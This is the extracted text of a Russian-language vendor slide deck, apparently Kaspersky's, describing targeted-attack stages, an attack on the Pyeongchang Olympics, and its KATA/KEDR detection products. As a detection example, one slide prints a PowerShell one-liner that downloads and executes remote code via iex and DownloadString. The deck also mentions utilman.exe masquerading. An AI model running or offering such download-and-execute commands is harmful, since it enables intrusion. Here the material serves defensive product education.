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Проактивное выявление сложных 

угроз и целенаправленных атак с 

помощью Kaspersky Anti-Targeted 

Attack Platform



Что такое целенаправленные 
атаки?



Передовая угроза <-> Целенаправленная атака

Подготовка Доставка C&C ИсполнениеРазвитие Нанесение 

ущерба

• сбор данных

• стратегия

• безвредоносное

• скрытое

• шифрованное

• новые домены

• «серые домены»

• скрытая коммуникация

• нормальная активность

• кража аккаунтов

• ничего не нарушаем

• мгновенные действия

• скрытая активность

• нет прямого ущерба

• удалить следы

• модификация логов

• оставить бэкдор



Передовые угрозы: сложные и нелинейные

Тестирование Инцидент

Развитие 1 – E-mail

Проникновение 2 –

социальная инженерия
Развитие 2 – Сетевое

Проникновение 1 –

Вложение с эксплойтом Исполнение – Локальное

Исполнение –

Удаление



Атака во время проведения Зимней олимпиады в Пхенчхане

Сбор email адресов 

Целенаправленная рассылка 

MS Office -> cmd -> 

Powershell -> Backdoor

Распространение с помощью 

PsExec

Credential Dumping

Удаление информации

Удаление журналов событий, 

оставление ложных IoC

securelist.ru



Решение Kaspersky Threat Management and Defense

CYBERSECURITY
SERVICES

ДЕЛИМСЯ ОПЫТОМ И 
ЭКСПЕРТИЗОЙ

ENDPOINT 
DETECTION AND 

RESPONSE
РАССЛЕДОВАНИЕ И 

РЕАГИРОВАНИЕ

ANTI TARGETED ATTACK PLATFORM
ОБНАРУЖЕНИЕ ПЕРЕДОВЫХ УГРОЗ В СЕТИ



Kaspersky Anti-Targeted Attack 
Platform



Kaspersky Anti-Targeted Attack (KATA 3.6): детектирующие 
технологии

 Система обнаружения вторжений (IDS)

 Модуль антивирусной защиты (Anti Malware 
Engine)

 Индикаторы компрометации

 Модуль YARA Engine

 Сервисы Threat Intelligence

 Индикаторы атак

 Облачный ML-анализ .apk файлов

 Sandbox



KATA: архитектура

РеагированиеПриоритизация вердиктовАнализ данныхСбор данныхВекторы атаки

Ноутбуки

Рабочие 

станции

Серверы

E-mail

Интернет

Динамический анализ

Sandbox

Анализатор 

APT- атак

Механизмы 

детектирования

МетаданныеОбъекты

ЦЕНТР АНАЛИЗА И 

ПРИНЯТИЯ РЕШЕНИЙ

KSN

Kaspersky Private

Security Network (KPSN)

СЕТЕВЫЕ СЕНСОРЫ:

- Сетевой трафик

- Почтовый трафик

- Подозрительные 

объекты

СЕНСОРЫ КОНЕЧНЫХ 

УЗЛОВ:

- Активность аккаунтов

- Активность файлов, 

процессов, cервисов

- Межсетевое 

взаимодействие

- …

Database

Консоль 

управления

Security 

Incident  and

Event Management 

(SIEM)

• Лог-файлы

Sandbox-a

• Оповещения об 

инцидентах 

• SYSLOG/CEF

• PCAP файлы

и т.д.

Security Operation 

Center (SOC)

IT Security 

Specialist

KL Services

KSMG

KWTS 6.1



KATA: визуализация



Сценарии использования Kaspersky Endpoint Detection and Response

Вредоносная 

активность

Легитимная 

активность

?

?

?

?

?

?

?

?

?

?

Серые, неизвестные 

процессы

KEDR



Сценарии использования Kaspersky Endpoint Detection and Response

Пример 1 – подмена utilman.exe

ID: T1036

Tactic: Defense Evasion

Technique: Masquerading

ID: T1015

Tactic: Persistence, Privilege Escalation

Technique: Accessibility Features



Сценарии использования Kaspersky Endpoint Detection and Response

Пример 1 – подмена utilman.exe



Сценарии использования Kaspersky Endpoint Detection and Response

Пример 2 – загрузка вредоносного кода с помощью powershell

ID: T1071

Tactic: Command And Control

Technique: Standard Application Layer Protocol

powershell.exe "iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/')"



Сценарии использования Kaspersky Endpoint Detection and Response

Пример 2 – загрузка вредоносного кода с помощью powershell



Сценарии использования Kaspersky Endpoint Detection and Response



KEDR: реагирование на инцидент



KEDR: изоляция хоста



Индикаторы атак: от защиты к 
нападению



KATA 3.6: IoA индикаторы атак и поиск угроз

• General Details (host name, user name)

• IoA (тактики, техники, важность, 
надежность)

• Свойства файла

• Запуск процесса (родительский процесс)

• Удаленные соединения

• Модификация реестра

• События из журналов Windows Event Log

• Детекты Kaspersky Endpoint Security

• Индикаторы поставляются экспертами ЛК

• Есть возможность создавать свои индикаторы



Поиск по индикаторам атак



Поиск по индикаторам атак



Поиск по индикаторам атак, визуализация



Поиск по индикаторам атак, матрица MITRE ATT&CK

Credential

Dumping

attack.mitre.org



Поиск по индикаторам атак, матрица Mitre ATT&CK



KATA: резюме

Kaspersky®

Anti-Targeted 
Attack

 КАТА – единая технологическая платформа,

инструмент мониторинга и анализа трафика и событий конечных точек

 KEDR – агентское решение, инструмент обнаружения и реагирования на инцидент

 Sandbox – инструмент обнаружения неизвестных угроз

 Режим блокировки при интеграции с KSMG, KWTS 6.1



Сервисы

 Kaspersky Managed Protection (KMP)

 Расследование инцидентов

 Потоки данных, отчеты об угрозах

 Повышение осведомленности сотрудников

 Профессиональные тренинги для ИТ и ИБ специалистов

Kaspersky®

Cybersecurity 
Services

Kaspersky®

Security 
Trainings



Kaspersky Sandbox

Kaspersky Endpoint Security for Business 

Agents

11

Kaspersky Security Center

ADDRESSES AND SOLVES PROBLEMS OF:

• Insufficient automation

• Lack of resources

• Overwhelming skilled personnel with routine 

tasks

Expands the functionality of Kaspersky 

Endpoint Security for Business to identify 

and block complex threats:

• Previously unknown malware

• New viruses and ransomware

• Zero-day exploits, and others 

Use cases

• Support for automatic scenarios in countering unknown threats    without 

the need to hire specialists

• Protection of high-loaded terminal servers, even with the behavioral 

analysis module in Kaspersky Endpoint Security for Business switched off

• Endpoint protection, even without any  interaction with the global 

Kaspersky Security Network threat database

• API enables integration with third-party applications in the customer’s 

infrastructure

Kaspersky Sandbox
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